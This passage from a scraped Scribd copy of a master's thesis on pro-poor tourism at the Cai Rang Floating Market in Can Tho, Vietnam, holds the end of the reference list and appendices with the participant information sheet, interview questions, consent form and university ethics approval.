Cu, C. L., Vu, H. C. & Tran, M. (2007). Pro-Poor Tourism in Vietnam. Retrieved October 31, 2010 from- lich-xoa_doi_giam_ngheo_o_vn.pdf Nguyen, T. S. (2004). Urban Development in Vietnam: Can Tho City with Urban Development and Poverty Reduction. Retrieved 30 June, 2009 from- web/files/Session%202/S2-03-Nguyen%20Thanh%20Son%20docEN.pdf Overseas Development Institute (2007). Assessing How Tourism Revenues Reach the Poor. Retrieved November 3, 2010 from Overseas Development Institute (2009). Value Chain Analysis and Poverty Reduction at Scale: Evidence from Tourism is Shifting Mindsets. Retrieved 30 June, 2011 from 131 Oxfam (2008). Viet Nam - Climate Change, Adaptation and Poor People. Retrieved May 19, 2010 from m_cc_adaptation_poverty.pdf Parsons, A. W. (2008). World Bank Poverty Figures: What Do They Mean?. Retrieved July 26, 2010 from- poverty-figures-what-do-they-mean.html Patton, M. Q. (2002). Qualitative research and evaluation methods (3 ed.). California, US: Sage Publications. Peak, D. (2008). Poverty alleviation through tourism: a case study from Paraguay. E- Review of Tourism Research, vol. 6, no. 1 People's Committee of Can Tho City (2005). Program for Tourism Development in Can Tho City to 2010 Vision to 2020. Can Tho, Vietnam: Peoples Committee of Can Tho City. Pham, T. T. A (2006). Measures to Develop the Tourism Industry in Can Tho Up To 2010 and 2020. Retrieved May 3, 2010 from- 06/phamthituyetanh.htm Phillips, P., Ludvigson, T. & Panoho, J. (2005). Cook Islands Tourism: 2005-2015 A Geotourism Strategy. Retrieved May 15, 2009 from- 15-Draft-pt1.pdf Pluss, C. & Backes, M. (2002). Red Card for Tourism? 10 Principles and Challenges for a Sustainable Tourism Development in the 21st Century. Freiburg: DANTE (NGO Network for Sustainable Tourism Development). 132 Poon, A. (1993). Tourism, Technology and Competitive Strategies. Guildford, England: CABI Publishing. Project for Public Spaces (nd.). Cai Rang Floating Market. Retrieved 29 June 2009 from Project of Public Spaces (2009). Public Market Planning Services. Retrieved August 11, 2010 from Pro-Poor Tourism Partnership (2004a). Pro-Poor Tourism Info-Sheets: Sheet No. 4 Developing Countries Share of the International Tourism Market. Retrieved October 24, 2010 from Pro-Poor Tourism Partnership (2004b). Pro-Poor Tourism Info-Sheets: Sheet No. 6: Economic data on international tourisms contribution to developing countries economies. Retrieved October 22, 2010 from Pro-Poor Tourism Partnership (n.d.). Overview of Pro-Poor Tourism Strategies. Retrieved June 24, 2010 from Richter, L. K. (2001). Tourism Challenges in Developing Nations: Continuity and Change at the Millennium. In D. Harison (Eds.) Tourism and the Less Developed World: Issues and Case Studies (pp. 47-59). New York, US: CABI Publishing. Riley, R. W., & Love, L. L. (2000). The state of qualitative tourism research. Annals of Tourism Research, 27(1), 164-187. Roe, D. & Urquhart, P. (2004). Pro-poor Tourism: Harnessing the Worlds Largest Industry for the Worlds Poor; Turning the Rhetoric into Action for Sustainable Development and Poverty Reduction. In T. Bigg (Eds.), Survival 133 for a Small Planet The Sustainable Development Agenda (pp. 309-325). London, UK: Earthscan. Roe, D., Ashley, C., Page, S. & Meyer, D. (2004). Tourism and the Poor: Analysing and Interpreting Tourism Statistics from a Poverty Perspective. Retrieved October 22, 2010 from Sadler, P. G. & Archer, B. H. (1975). The Economic Impact of Tourism in Developing Countries. In T. Huybers (Eds.), Tourism in Developing Countries (pp. 177-190). Cheltenham, UK: Edward Elgar. Saville, N. M. (2001). Practical Strategies for Pro-Poor Tourism: Case Study of Pro- Poor Tourism and SNV in Humla District, West Nepal. Retrieved November 3, 2010 from Scheyvens, R. (2002). Tourism for Development: Empowering Communities. Upper Saddle River, NJ: Prentice Hall. Scheyvens, R. (2007). Exploring the Tourism-Poverty Nexus. In C. M. Hall (Eds.), Pro-poor Tourism: Who Benefits? Perspectives on Tourism and Poverty Reduction (pp. 121-144). Frankfurt Lodge, UK: Channel View Publications. Schoenberger, E. (1991). The Corporate Interview as a Research Method in Economic Geography. The Professional Geographer, 43(2), 180189. Senate Economic Planning Office (2006). Tourism as a Development Strategy. Retrieved October 21, 2010 from- %20Tourism%20as%20a%20Development%20Strategy.pdf Silverman, D. (2006). Interpreting Qualitative Data: Methods for Analyzing Talk, Text and Interaction (3 ed.). London, UK: Sage. 134 Singh, S., Timothy, D. J. & Dowling, R. K. (2003). Tourism and Destination Communities. Cambridge, USA: CABI Publishing. Smith, V. L. & Brent, M. (2001). Hosts and Guests Revisited: Tourism Issues of the 21st Century. New York, US: Cognizant Communication Corporation. Sofield, T., Bauer, J., Delacy, T., Lipman G. and Daugherty, S. (2004). Sustainable Tourism ~ Eliminating Poverty: An Overview. Queensland, Australia: CRC for Sustainable Tourism. Spenceley, A. & Goodwin, H. (2007). Nature-Based Tourism and Poverty Alleviation: Impacts of Private Sector and Parastatal Enterprises In and Around Kruger National Park, South Africa. In C. M. Hall (Eds.), Pro-poor Tourism: Who Benefits? Perspectives on Tourism and Poverty Reduction (pp. 145-167). Frankfurt Lodge, UK: Channel View Publications. Stabler, M. J., Papatheodorou, A. & Sinclair, M. T. (2010). The Economics of Tourism (2nd ed.). New York, USA: Routledge. Stake, R. E. (2000). Case Studies. In N. K Denzin & Y. S. Lincoln (Eds.). Handbook of qualitative research (2nd ed., pp. 435-486). London, UK: Sage. Strauss, A. & Corbin, J. (1990). Basics of Qualitative Research: Grounded Theory Procedures and Techniques. California, US: Sage. Strauss, A. L., & Corbin, J. M. (1998). Basics of qualitative research: Techniques and procedures for developing grounded theory (2nd ed.). California, USA: Sage Publications. Suntikul, W., Butler, R. & Airey, D. (2010). The Influence of Foreign Direct Investment on Accommodation Pattern in Vietnam as a Result of the Open- Door Policy. Current Issues in Tourism, 13(3), 261-277. 135 Tashakkori, A. & Teddlie, C. (1998). Mixed methodology: Combining qualitative and quantitative approaches. California, US: Sage Publications. Telfer, D. J. & Sharpley, R. (2008). Tourism and Development in the Developing World. Cornwall, UK: Routledge. Telfer, D. J. (2003). Development Issues in Destination Communities. In S. Singh, D. J. Timothy & R. K. Dowling (Eds.) Tourism in Destination Communities (pp. 155-180). New York, US: CABI Publishing. ThaiWebsites (2011). Thailand : Tourist Arrivals from 1998 till 2010. Quarterly Data 2007-2010. Retrieved January 25, 2011 from Thanh Nien News (2009). Floating Around. Retrieved May 5, 2010 from- vn/75/72/182/159/199/110815/Default.aspx Thanh Nien Online (2010). Do Not Waste Tourism Resource. Retrieved May 12, 2010 from The International Centre for Responsible Tourism (2002). Cape Town Declaration. Retrieved November 18, 2010 from The Saigon Times (2010). Huge Crowds Throng Can Tho Bridge on Opening Day. Retrieved April 27, 2010 from Thuy , X. D. & Slingsby, M. (2002). Enhancing Access of the Urban Poor and Vulnerable Groups in Vietnam to Basic Infrastructure and Services - Development of a Detailed Action Plan for a Selected City (Can Tho). Retrieved 25 Aug. 09 from 136 %2F%2F- developpement%2Fcities_alliance%2Ftask4_sum.pdf&ei=MZiSSuGJOZiI6w Pb7MziCg&rct=j&q=Can+Tho+poverty+population&usg=AFQjCNGK6NZ xuETMnqr0ZRizssRRzUZ8dQ&sig2=m5QrvSeyQCoPmzsFCzxgjQ Tourangeau, R., Rips, L. J. & Rasinski, K. (2000). The Psychology of Survey Response. Cambridge, UK: Cambridge University Press Tourism Malaysia (2010). Tourist Arrivals and Receipt to Malaysia. Retrieved October 17, 2010 from Tourism New Zealand (2010). Responsible Tourism. Retrieved November 20, 2010 from- promise/responsible-tourism/ Tourism Review (2008). Developing Countries: The Future of Tourism Industry?. Retrieved April 14, 2010 from- countries-the-future-of-tourism-industry-news795 Travel & Tourism Intelligence (2009). Country Report No. 2 - East Asia and the Pacific. London, UK: Mintel International Group Ltd. UNEP & WTO (2005). Making Tourism More Sustainable - A Guide for Policy Makers. Madrid, Spain: WTO. United Nations (2010). The Millennium Development Goals Report 2010. Retrieved October 22, 2010 from Report_2010_En.pdf UNWTO (2010). Tourism Highlights: 2010 Edition. Retrieved October 21, 2010 from 137 R.pdf UNWTO & SNV (2010). Manual on Tourism and Poverty Alleviation - Practical Steps for Destinations. Madrid, Spain: WTO. Urban Health Updates (2009). Vietnam Urban poverty higher than official figures. Retrieved April 25, 2010 from- higher-than-official-figures/ Veal, A. J. (1997). Research methods for leisure and tourism: A practical guide (2nd ed.). London, UK: Pearson Education Limited. Vietnam Business Forum (2008). Vietnam's Urbanlisation Prospect by 2020. Retrieved May 21, 2010 from Vietnam Business Forum (2009a). Tourism Helps Eliminate Poverty. Retrieved May 14, 2010 from Vietnam Business Forum (2009b). Vietnam Tourism: Toward Impressive, Sustainable Growth. Retrieved May 14, 2010 from Vietnam Business Forum (2009c). Vietnam Tourism Revenues Up 9% on Year to US$3.8B This Year. Retrieved May 24, 2010 from Vietnam Business Forum (2009d). Vietnam Promotes Tourism Potential, Image in France. Retrieved May 14, 2010 from 138 Vietnam Business Forum (2010a). UNWTO to Support Vietnam to Boost Tourism. Retrieved May 26, 2010 from Vietnam Business Forum (2010b). International Tourist Arrivals to Vietnam Increase 35.7% to 1.793 Million in January-April. Retrieved May 14, 2010 from Vietnam Net (2006). Can Tho to Keep Investing in Fight Against Poverty. Retrieved May 21, 2010 from Vietnam Net (2009a). Journey to the South. Retrieved 11 July 2009 from Vietnam Net (2009b). Vietnam Tourism Authority Eyes Local Market As Niche. Retrieved May 24, 2010 from Vietnam Net (2010). Thousands at Risk of Landslides in Delta. Retrieved May 21, 2010 from Vietnam News (2009). More to Qualify for Aid with Redefinition of Poverty Line. Retrieved May 18, 2010 from- to-qualify-for-aid-with-redefinition-of-poverty-line.html Vietnam Tourism (2005). Go to Cai Rang Floating Market in Can Tho. Retrieved November 12, 2010 from Vietnamese Communist Party E-newspaper (2010). Vietnam Continue to Implement Poverty Eradication Toward the Millennium Development Goals. Retrieved October 30, 2010 from 139 o_id=30361 VNA (2010). Vietnam to Welcome 1.6 Billion Intl Tourists by 2020: UNWTO. Retrieved Oct 28, 2010 from VNAT (2005). Visa. Retrieved November 3, 2008 from task=view&id=16&Itemid=52 VNAT (2008). The Country of Vietnam (9th ed.). Ha Noi, Vietnam: Tourism Information Technology Centre. VNAT (2009a). Can Tho City. Retrieved April 19, 2010 from d=1288 VNAT (2009b). HCM City Can Tho High-Speed Rail Line to Cost US$4 Billion. Retrieved August 29, 2009 from 8 VNAT (2009c). Popularizing National Images through Culture, Sports And Tourism. Retrieved May 13, 2010 from 1 VNAT (2009d). Vietnam Has Been Selected As One Of The 10 Most Attractive Tourist Destinations In The World. Retrieved June 28, 2009 from VNAT (2010a). Vietnam Welcomes 3.7 Million Foreign Visitors In Nine Months. Retrieved October 27, 2010 from 140 7 VNAT (2010b). Tourism Industry Targets 12million Foreign Visitors. Retrieved October 27, 2010 from 9 VNAT (2010c). Tourists Like Eco-Friendly. Retrieved October 29, 2010 from 4 VNAT (2010d). Delta to Heat up Tourism Industry. Retrieved Oct 28, 2010 from 0 VNAT (2011a). International Visitors to Vietnam in December and 12 Months of 2010. Retrieved January 6, 2011 from 061 VNAT (2011b). Tourism Statistics. Retrieved January 6, 2011 from VnEconomy (2009). Tourism Real Estate Development in Can Tho: Need a Difference. Retrieved May 1, 2010 from- lich-can-tho-can-su-khac-biet.htm VOV News (2009). Party Chief Urges Can Tho to Become Regional Hub. Retrieved June 30, 2009 from- Tho-to-become-regional-hub/20095/104248.vov 141 VOV News (2010a). Cai Rang Floating Market. Retrieved May 5, 2010 from- market/20101/111553.vov VOV News (2010b). Government Considers Visa Exemptions for Tourists. Retrieved April 23, 2010 from- considers-visa-exemptions-for-tourists/20104/114948.vov Vu, T. A. (2009). Uncovering Regional Disparities in Poverty in Viet Nam Using CBMS Data. Retrieved May 18, 2010 from- net.org/fileadmin/medias/pdf/promotionnal_material/CBMS/June2009.pdf Vu, T. N. (2008). Visit the Floating Market in Thailand. Retrieved 18 Apr 2010 from Walle, A. H. (1997). Quantitative versus qualitative tourism research. Annals of Tourism Research, 24(3), 524-536. Wikipedia (2010). Can Tho Bridge. Retrieved April 27, 2010 from World Bank (2010). Results Profile: Development Progress in Vietnam. Retrieved May 17, 2010 from PACIFICEXT/VIETNAMEXTN/0,,contentMDK:22539306~pagePK:141137 ~piPK:141127~theSitePK:387565,00.html World Tourism Organisation (1993). Sustainable Tourism Development: Guide for Local Planners. Madrid, Spain: WTO. World Trade Organisation (2007). Viet Nam Joins WTO with Director-Generals Tribute for True Grit. Retrieved November 3, 2008 from 142 WTO (2002a). Tourism and Poverty Alleviation: Recommendations for Action. Retrieved June 1, 2010 from ion_excerpts.pdf WTO (2002b). Enhancing the Economic Benefits of Tourism for Local Communities and Poverty Alleviation. Madrid, Spain: WTO. WTO (2004). Tourism and Poverty Alleviation Recommendation for Action. Madrid, Spain: WTO. WTO (2005a). Tourism, Microfinance and Poverty Alleviation. Madrid, Spain: WTO. WTO (2005b). Cultural Tourism and Poverty Alleviation: The Asia-Pacific Perspective. Madrid, Spain: WTO. WTO (2006). Poverty Alleviation Through Tourism A Compilation of Good Practices. Madrid, Spain: WTO. WTTC (2010). Travel & Tourism Economic Impact: Executive Summary 2010. Retrieved April 21, 2010 from Yari, M. (2003). Beyond Subsistence Affluence: Poverty in Pacific Island Countries. Retrieved March 31, 2009 from- 04_ch3.pdf Yin, R. K. (1994). Case Study Research: Designs and Methods (2nd ed.). London, UK: Sage. Yin, R. K. (2003). Applications of case study research (2nd ed.). California, US: Sage. 143 Yow, V. (2005). Recording Oral History (2 ed.). Walnut Creek: AltaMira Press. Zhao, W. & Ritchie, J. R. B. (2007). Tourism and Poverty Alleviation: An Integrative Research Framework. In C. M. Hall (Eds.), Pro-poor Tourism: Who Benefits? Perspectives on Tourism and Poverty Reduction (pp. 9-29). Frankfurt Lodge, UK: Channel View Publications. Zimmermann, W. (2006). Good Governance in Destination Management. In W. Jamieson (Eds.), Community Destination Management in Developing Economies (pp. 113-122). New York: Haworth Hospitality Press. 144 Appendix A: Interview Participant Information Sheet Participant Information Sheet Date Information Sheet Produced: 20/11/2009 Project Title The Cai Rang Floating Market, Vietnam Towards Pro-Poor Tourism? An Invitation I am a Master student at Auckland University of Technology. I am doing this research as part of my Master thesis. As a local market stallholder, local tourism official and local government representative, you are a very important part of Can Tho city economy and poverty reduction. You are invited to participate in this research. Participation is entirely voluntary and you may withdraw at any time. What is the purpose of this research? The main aims of the research project are: to gain a clearer picture of stallholder perceptions of the market and pro-poor tourism; to provide recommendations for local tourism officials, policy makers and local communities on future opportunities to develop the market as a tourism product and tool for poverty alleviation; and to contribute to the growing body of knowledge on pro-poor tourism and community development. This research is being conducted as part of my Masters of Tourism Studies at Auckland University of Technology. How was I chosen for this invitation? As a local stallholder, local officials who may involve in tourism industry, you are invited to participate in this research. You are purposefully selected in order to include a range of diverse characteristics including: male and female, young, middle age and old, education and income levels. You have been living and working in this region for long time so you must have a deep knowledge about this market and local poverty alleviation strategies. 145 What will happen in this research? This part of the research involves interviews with market stallholders and local officials. What are the discomforts and risks? You may feel you are not an expert on some of the areas discussed. How will these discomforts and risks be alleviated? All questions are optional, and you may choose not to answer some questions. There are no right or wrong answers. Any information you provide will be interesting. What are the benefits? This research will result in a better understanding of the issues which face the stallholders on the floating market as barriers for them to involve in tourism industry and their attitude about pro-poor tourism. It will offer insights into how Can Tho citys strategies can address the needs of local poor community, remove any barriers and open up access for the poor to the tourism sector, thereby providing them with a vital source of income. Through this research, the participants will have their voices to be listened. How will my privacy be protected? All answers are confidential and your answers can in no way be linked to your personal details. The results will be presented in aggregate and no individual will be identified in any of the publications relating to this research. What are the costs of participating in this research? This interview will take approximately half an hour. What opportunity do I have to consider this invitation? The researcher will contact you in the next week to see if you would like to be interviewed, and if so, to make an appointment to visit you at a place and time that suits you. You will have time to consider the invitation before accepting. How do I agree to participate in this research? To participate in this research, simply confirm an appointment time when I contact you next week by face to face or via telephone. You will need to sign a Consent Form prior participate in the interview. Will I receive feedback on the results of this research? A summarised copy of the results of this research will be available in the local government office late year 2010. 146 What do I do if I have concerns about this research? Any concerns regarding the nature of this project should be notified in the first instance to the Project Supervisor, Simon Milne, email: simon.milne@aut.ac.nz, phone (64) 9 921 9245. Concerns regarding the conduct of the research should be notified to the Executive Secretary, AUTEC, Madeline Banda, madeline.banda@aut.ac.nz , (64) 9 921 9999 ext 8044. Whom do I contact for further information about this research? Researcher Contact Details: Bich Tram Huynh, email: bichuy17@aut.ac.nz Project Supervisor Contact Details: Simon Milne, email: simon.milne@aut.ac.nz, phone (64) 9 921 9245. Approved by the Auckland University of Technology Ethics Committee on 15 October 2009, AUTEC Reference number 09/208. 147 Appendix B: Interview Question Guidelines Example of Indicative Interview Questions I ndicative interview questions for local officials 1. How long have you been working in this organisation? 2. What is your highest qualification? 3. Do the stallholders have to register in order to sell products on the floating market? 4. Do the stallholders have to pay tax or rent while they sell products on the floating market? 5. What are the safety requirements for stallholders to sell products on the floating market? (e.g. driving license, boat registrations, life jackets) 6. Do locals have to register their boats that are used for carrying tourists with local authorities? 7. What do you know about tourism industry on the Cai Rang floating market? 8. What are the positive and negative impacts of tourism on the Cai Rang floating market? 9. What are the strategies to attract more tourists to the floating market? 10. What are the barriers for developing the floating market as a tourist product? 11. How to overcome those barriers? 12. What do you think about tourism can potentially help to reduce poverty in this city? 13. What are the strategies of Can Tho city to support poor local stallholders? 14. What age group do you fall into? 20 39 40 59 60 and over 15. Are you: Male Female 148 I ndicative interview questions for stallholders 1. Do you live in Can Tho city ? or elsewhere 2. How long have you lived (in Can Tho city)? ________ years 3. What is your highest qualification? 4. What is your main job? 5. Tell me a little about jobs you have done before this one (if any) 6. How long have you been a stallholder in this floating market? 7. How frequently do you come to the market to sell products? 8. Who else works with you at the market (paid/non-paid) 9. What kind of products are you selling? 10. Where are the products produced? (i.e. do they purchase supplies/goods from local sources) 11. How much do you earn on a busy/quiet/average day from sales of products? 12. What proportion of your tourist customers are from overseas? ______% Not Sure 13. What percentage of your income is earned from foreign tourists? _______ % 14. What do you think about doing business with foreign tourists? 15. What are the barriers in doing business with foreign tourists? 16. What are your strategies to attract foreign tourists? 17. How important is tourism to your economic well-being. 18. Do you know about the Can Tho city Tourism Strategy? 19. If yes what can you tell me about the strategy? 20. Did you have any input into the development of the Can Tho city Tourism Strategy? (please explain 21. What age group do you fall into? 20 39 40 59 60 and over 22. Are you: Male Female 149 Appendix C: Interview Consent to Participate Form Consent Form Project title: The Cai Rang Floating Market, Vietnam Towards Pro-Poor Tourism? Project Supervisor: Simon Milne Researcher: Bich Tram Huynh I have read and understood the information provided about this research project in the Information Sheet dated 20/11/2009. Participants signature: ................................... Participants name: .................................. Participants Contact Details (if appropriate): .. .. .. .. Date: 150 Appendix D: Ethics Approval Approved by the Auckland University of Technology Ethics Committee on 15 October 2009, AUTEC Reference number 09/208. Note: The Participant should retain a copy of this form. ME MORA NDUM Auckland University of Technology Ethics Committee (AUTEC) To: Simon Milne From: Madeline Banda Executive Secretary, AUTEC Date: 15 October 2009 Subject: Ethics Application Number 09/208 Understanding and enhancing the economic yield of the Cai Rang Floating Market - Towards pro-poor tourism? Dear Simon Thank you for providing written evidence as requested. I am pleased to advise that it satisfies the points raised by the Auckland University of Technology Ethics Committee (AUTEC) at their meeting on 14 September 2009 and that I have approved your ethics application. This delegated approval is made in accordance with section 5.3.2.3 of AUTECs Applying for Ethics Approval: Guidelines and Procedures and is subject to endorsement at AUTECs meeting on 9 November 2009. Your ethics application is approved for a period of three years until 15 October 2012. I advise that as part of the ethics approval process, you are required to submit the following to AUTEC: A brief annual progress report using form EA2, which is available online through. When necessary this form may also be used to request an extension of the approval at least one month prior to its expiry on 15 October 2012; 151 A brief report on the status of the project using form EA3, which is available online through. This report is to be submitted either when the approval expires on 15 October 2012 or on completion of the project, whichever comes sooner; It is a condition of approval that AUTEC is notified of any adverse events or if the research does not commence. AUTEC approval needs to be sought for any alteration to the research, including any alteration of or addition to any documents that are provided to participants. You are reminded that, as applicant, you are responsible for ensuring that research undertaken under this approval occurs within the parameters outlined in the approved application. Please note that AUTEC grants ethical approval only. If you require management approval from an institution or organisation for your research, then you will need to make the arrangements necessary to obtain this. Also, if your research is undertaken within a jurisdiction outside New Zealand, you will need to make the arrangements necessary to meet the legal and ethical requirements that apply within that jurisdiction. When communicating with us about this application, we ask that you use the application number and study title to enable us to provide you with prompt service. Should you have any further enquiries regarding this matter, you are welcome to contact Charles Grinter, Ethics Coordinator, by email at ethics@aut.ac.nz or by telephone on 921 9999 at extension 8860. On behalf of the AUTEC and myself, I wish you success with your research and look forward to reading about it in your reports. Yours sincerely Madeline Banda Executive Secretary Auckland University of Technology Ethics Committee Related Interests Tourism Developing Country Poverty Reduction Poverty Poverty & Homelessness Documents Similar To HuynhBT.pdf Tour Operators Questionniare 97 Uploaded by Ritu Malekoo Social Enterprise Bill_HB 6085 Uploaded by Foundation for a Sustainable Society Mensah et al.pdf Uploaded by Mensah Kwame James Sustainable Tourism Uploaded by Shivangi Raj Characteristics.indian.economy Uploaded by pranav E63_14E Uploaded by Vivek Banerjee Multiple Choice Questions With Answers Worldwide Destinations Uploaded by SURYA Sustainable Tourism Uploaded by Ana Maria Ugrin 291905_ch2 Uploaded by mark vergel Sibug Marketing Plan for Ecotourism (1) Uploaded by Susmriti Shrestha CONCLUSION.docx Uploaded by CAMILO BERDUGO Indonesia 2016 Uploaded by pamukti Conference Brochure Uploaded by Dr. Pabitra Kumar Mishra Development Concept of Urban Housing Renewal Based on Sustainable Tourism a Case Study of Kampung Tambak Bayan Surabaya Uploaded by IJSTR Research Publication Anthropology Tourism Uploaded by alexbazza Climate Change and International Tourism Uploaded by sanamar_1980 132 Oxfam Briefing Paper Uploaded by GLOBE Europe tourism sri lanka Uploaded by sliitlaki fbsdf Uploaded by KiralyArthur WTTC Report Jamaica 2017 Uploaded by Kimmy2010 Tourist Route 1926-73 Uploaded by Dan Turner The World Order Carnegie Endowment - Slides - THE G-20 IN 2050: POLICY CONSEQUENCES OF LONG-TERM GROWTH DYNAMICS Uploaded by HisWellness Tourism Trends YB2016 Uploaded by Alina Stancu Constraints to Edu Planning in Nigeria Uploaded by praisepresh Thesis Title Proposed Uploaded by jvb_buena2734 Daily 1 Uploaded by amonalexkorra5309 Unidad 3 Inglés II Turismo ACTIVITIES Uploaded by Maria About Turkey Tourism Uploaded by bosluk ESCAP 28 January 2011 Uploaded by Adila Church Tourism in Batangas Province, Philippines Uploaded by Asia Pacific Journal of Multidisciplinary Research More From Hồ Thắng dke78_Ch20 Uploaded by Hồ Thắng dke78_Ch17 Uploaded by Hồ Thắng dke78_fm Uploaded by Hồ Thắng Bài Giảng Revit Structure 2015 Uploaded by Nguyễn Hoàng Anh dke78_Ch21 Uploaded by Hồ Thắng dke78_Ch16 Uploaded by Hồ Thắng dke78_Ch11 Uploaded by Hồ Thắng Berlin Tie-back Wall Uploaded by maylda dke78_Ch19 Uploaded by Hồ Thắng dke78_Ch19 Uploaded by Hồ Thắng dke78_Ch18 Uploaded by Hồ Thắng dke78_Ch15 Uploaded by Hồ Thắng dke78_Ch10 Uploaded by Hồ Thắng dke78_Ch13 Uploaded by Hồ Thắng dke78_Ch12 Uploaded by Hồ Thắng 16532_07b Uploaded by Hồ Thắng dke78_Ch4 Uploaded by Hồ Thắng 16532_05c Uploaded by Hồ Thắng dke78_Ch8 Uploaded by Hồ Thắng dke78_Ch1 Uploaded by Hồ Thắng dke78_Ch6.pdf Uploaded by Hồ Thắng dke78_Ch3 Uploaded by Hồ Thắng 16532_06a Uploaded by Hồ Thắng 16532_06b Uploaded by Hồ Thắng dke78_Ch2 Uploaded by Hồ Thắng 16532_05a Uploaded by Hồ Thắng 16532_04c Uploaded by Hồ Thắng 16532_05b Uploaded by Hồ Thắng dke78_Ch9 Uploaded by Hồ Thắng 16532_07a Uploaded by Hồ Thắng Popular in Developing Country 2018 Uploaded by Tuấn Thế Nguyễn SmallholderSMPinIndia Final Uploaded by Mary Barker M.L._Jhingan_The_Economics_of_Developmen.pdf Uploaded by AnjaliPunia State directed development Uploaded by chechulin85 The Rural Poverty Trap: Why agricultural trade rules need to change and what UNCTAD XI could do about it Uploaded by Oxfam Agrobased Clusters Uploaded by Webley Skout R8346_finrep_kelkar Uploaded by KintiGarg Privatization Uploaded by Trevor Bisset Paper on Climate Change: "Environmental Policies and Economic Growth in Indonesia: Challenges and Opportunities" Uploaded by Friedrich Naumann-Stiftung Untuk Kebebasan (FNF) Weiss, J. (2008) the Aid Paradigm for Poverty Reduction Uploaded by aventura_ssa Future Strategic Context Uploaded by Ven Geancia Fixed Versus Flexible Exchange Rate in China Uploaded by nishantpanwar82 Outsourcing Uploaded by Allen Alfred SUSTAINABLE FOREIGN DIRECT INVESTMENT IN TOURISM SECTOR OF DEVELOPING COUNTRIES Uploaded by 01082008 Exploration of Innovation and the Role of Clusters in Economic Growth and Development Uploaded by Asharib Ali Syed Research on Problems and Prospects of Education in Ethiopia Uploaded by hundee Globalisation or Regionalism - States, Markets and the Structure of International Trade Uploaded by Mitul Kathuria Topic 1-World Trade Report Part1 Uploaded by Andra Avîrvarei Chapter9 Quiz Uploaded by onedadema df3723 Uploaded by Champion Bcoms TrueLover Energy Demand Models Uploaded by Zdravko Stefanovski The Korean Economic Miracle Uploaded by Mariver Llorente 593 Uploaded by yahoogabi A. P. Thirlwall (auth.)-Growth and Development Uploaded by rahul gupta Globalization Structural Change and Productivity Growth With an Update on Africa 2014 World Development Uploaded by Ismael Valverde Resource Curse Uploaded by Jeremy Ruiz Bell and Pavitt 1993 Technological Accumulation and Industrial Growth Uploaded by Ana Paula Azevedo Agro-Industry Trends Ppt Uploaded by Muskamal Emkay Globalization: Threat or Opportunity? Uploaded by sangailung MacLaren Jayasuriya Mehta Uploaded by deaaah
https://tr.scribd.com/document/243192569/HuynhBT-pdf
CC-MAIN-2019-26
refinedweb
46,518
51.99
Library for interacting with Fullcontact's APIs. A Python module for the Fullcontact API version 2.0 It has functionality for name stats API and person APIs(except vcard format). Readme You can find full documentation at Fullcontact.com. Specifically: Name API docs Person API docs You will need a fullcontact API key to use this module. The name API is free, the person is not. I have the name API and person API in separate classes to keep free/paid separate. Installation With pip (prefered) pip install fullcontacter With easy_install easy_install fullcontacter Usage Examples import fullcontacter def main(): # create a name object fc_name = fullcontacter.nameStats('YOUR API KEY HERE') # create a person object fc_person = fullcontacter.personLookup('YOUR API KEY HERE') # look up a name name = fc_name.lookitup(fname='Patrick', lname='Russell') # look up a person via twitter person_twitter = fc_person.lookitup('patrickrm101', 'twitter') # look up a person via email person_email = fc_person.lookitup('prussell@gmail.com') return name, person_twitter, person_email if __name__ == "__main__": main() Code Code is hosted on github here: Github Repository TODO support vcard Test coverage. Implement a better API and include more of the lookup options, including account status. Random First attempt at releasing something to the public. I’m pretty new to this, tips, ideas, criticism, all welcome. Download Files Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
https://pypi.org/project/fullcontacter/
CC-MAIN-2017-34
refinedweb
232
51.14